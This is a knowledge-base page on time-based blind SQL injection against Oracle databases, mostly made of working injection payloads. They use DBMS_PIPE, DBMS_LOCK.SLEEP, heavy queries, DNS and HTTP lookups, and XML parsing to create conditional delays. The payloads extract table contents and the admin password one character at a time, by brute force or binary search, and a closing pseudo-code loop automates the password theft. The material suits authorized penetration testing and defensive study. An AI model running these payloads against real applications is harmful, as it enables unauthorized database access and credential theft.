Timing

Using time-based techniques for Oracle SQL injection attacks

Timing

Time-based techniques are essential for extracting information in blind SQL injection scenarios where no direct output is visible. By introducing deliberate delays based on conditions, attackers can infer data by measuring the response time of the application.

Oracle Delay Functions

Oracle provides several methods to introduce delays:

MethodDescriptionExamplePrivileges Required
DBMS_PIPE.RECEIVE_MESSAGEWaits for a message in a pipeDBMS_PIPE.RECEIVE_MESSAGE('nonexistent', 10)EXECUTE on DBMS_PIPE
DBMS_LOCK.SLEEPSuspends session for specified secondsDBMS_LOCK.SLEEP(10)EXECUTE on DBMS_LOCK
UTL_INADDR.GET_HOST_ADDRESSDNS resolution delayUTL_INADDR.GET_HOST_ADDRESS('nonexistent-domain.com')EXECUTE on UTL_INADDR
UTL_HTTP.REQUESTHTTP request delayUTL_HTTP.REQUEST('http://slow-website.com')EXECUTE on UTL_HTTP
Heavy queriesCPU/IO intensive operationsSELECT COUNT(*) FROM all_objects a,all_objects b,all_objects cBasic SELECT

Basic Time-Based Injection

-- Basic time delay (10 seconds)
' AND DBMS_PIPE.RECEIVE_MESSAGE('x',10)=0--

-- Conditional time delay
' AND (CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',10) ELSE NULL END) IS NULL--

Using DBMS_PIPE.RECEIVE_MESSAGE

This is the most commonly used delay function in Oracle:

-- Basic usage
' AND DBMS_PIPE.RECEIVE_MESSAGE('x',10)=0--

-- Wait for 5 seconds
' AND DBMS_PIPE.RECEIVE_MESSAGE('x',5)=0--

-- Character extraction with time delay
' AND (CASE WHEN SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a' THEN DBMS_PIPE.RECEIVE_MESSAGE('x',10) ELSE NULL END) IS NULL--

Using DBMS_LOCK.SLEEP

If you have privileges:

-- Basic usage
' AND DBMS_LOCK.SLEEP(10)=0--

-- Extracting data bit by bit
' AND (CASE WHEN (ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)) & 1)=1 THEN DBMS_LOCK.SLEEP(10) ELSE NULL END) IS NULL--

Heavy Queries for Delay

When no delay functions are available:

-- Join multiple large tables for CPU-intensive operation
' AND (CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN (SELECT COUNT(*) FROM all_objects a, all_objects b WHERE a.object_id=b.object_id) ELSE 0 END)>=0--

-- Hierarchical queries
' AND (CASE WHEN SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a' THEN (SELECT COUNT(*) FROM all_objects START WITH object_id=1 CONNECT BY PRIOR object_id=object_id) ELSE 0 END)>=0--

SQL Injection Examples

Character-by-Character Extraction

-- Extract first character of username
' AND (CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),1,1))=97 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--

-- Extract second character of username
' AND (CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),2,1))=98 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--

Binary Search Algorithm

More efficient extraction using binary search:

-- Test if ASCII value >= 128
' AND (CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),1,1))>=128 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--

-- Test if ASCII value >= 64 (assuming previous test was false)
' AND (CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),1,1))>=64 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--

-- Continue narrowing down the range

Testing for Existence

-- Check if table exists
' AND (CASE WHEN (SELECT COUNT(*) FROM all_tables WHERE table_name='USERS')>0 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--

-- Check if specific user exists
' AND (CASE WHEN (SELECT COUNT(*) FROM users WHERE username='admin')>0 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--

Alternative Delay Techniques

Using UTL_INADDR

If DBMS_PIPE is not available:

-- Causing delay with DNS resolution
' AND (CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN UTL_INADDR.GET_HOST_ADDRESS('nonexistent-subdomain.'||(SELECT DBMS_RANDOM.STRING('L',20) FROM DUAL)||'.example.com') ELSE '127.0.0.1' END) IS NOT NULL--

Using UTL_HTTP

-- HTTP request delay
' AND (CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN UTL_HTTP.REQUEST('http://slow-website.com') ELSE UTL_HTTP.REQUEST('http://fast-website.com') END) IS NOT NULL--

Using XML Processing

-- XML parsing delay
' AND (CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN SYS.XMLTYPE.CREATEXML('<xml>'||(SELECT RPAD('a',4000,'a') FROM DUAL)||'</xml>') ELSE NULL END) IS NOT NULL--

Managing Timeout Risks

Application or database timeouts can interrupt time-based extraction:

-- Using shorter delays (1-2 seconds)
' AND (CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),1,1))=97 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',2) ELSE NULL END) IS NULL--

-- Gradual increasing delays
' AND (CASE WHEN ASCII(SUBSTR((SELECT username FROM users WHERE rownum=1),1,1))=97 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',1) ELSE NULL END) IS NULL--

Combining with Other Techniques

-- Combining time-based with error-based
' AND (CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE TO_CHAR(1/0) END) IS NULL--

-- Combining time-based with UNION
' UNION SELECT CASE WHEN (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a') > 0 THEN 'a'||DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 'b' END, NULL FROM DUAL--

Practical Considerations

Measuring Response Time

For effective time-based extraction:

  1. Establish a baseline for normal response time
  2. Use delays significantly larger than normal variance (at least 3-5 seconds)
  3. Make multiple requests to confirm results
  4. Consider network latency and server load variations

Automating Extraction

Use automation tools for efficient extraction:

-- Example of script logic (pseudo-code)
for position in 1..20:
    for char_value in 32..127:
        inject "' AND (CASE WHEN ASCII(SUBSTR((SELECT password FROM users WHERE username='admin'),$position,1))=$char_value THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE NULL END) IS NULL--"
        if response_time > 5 seconds:
            extracted_char = char(char_value)
            break
Back to Knowledge Base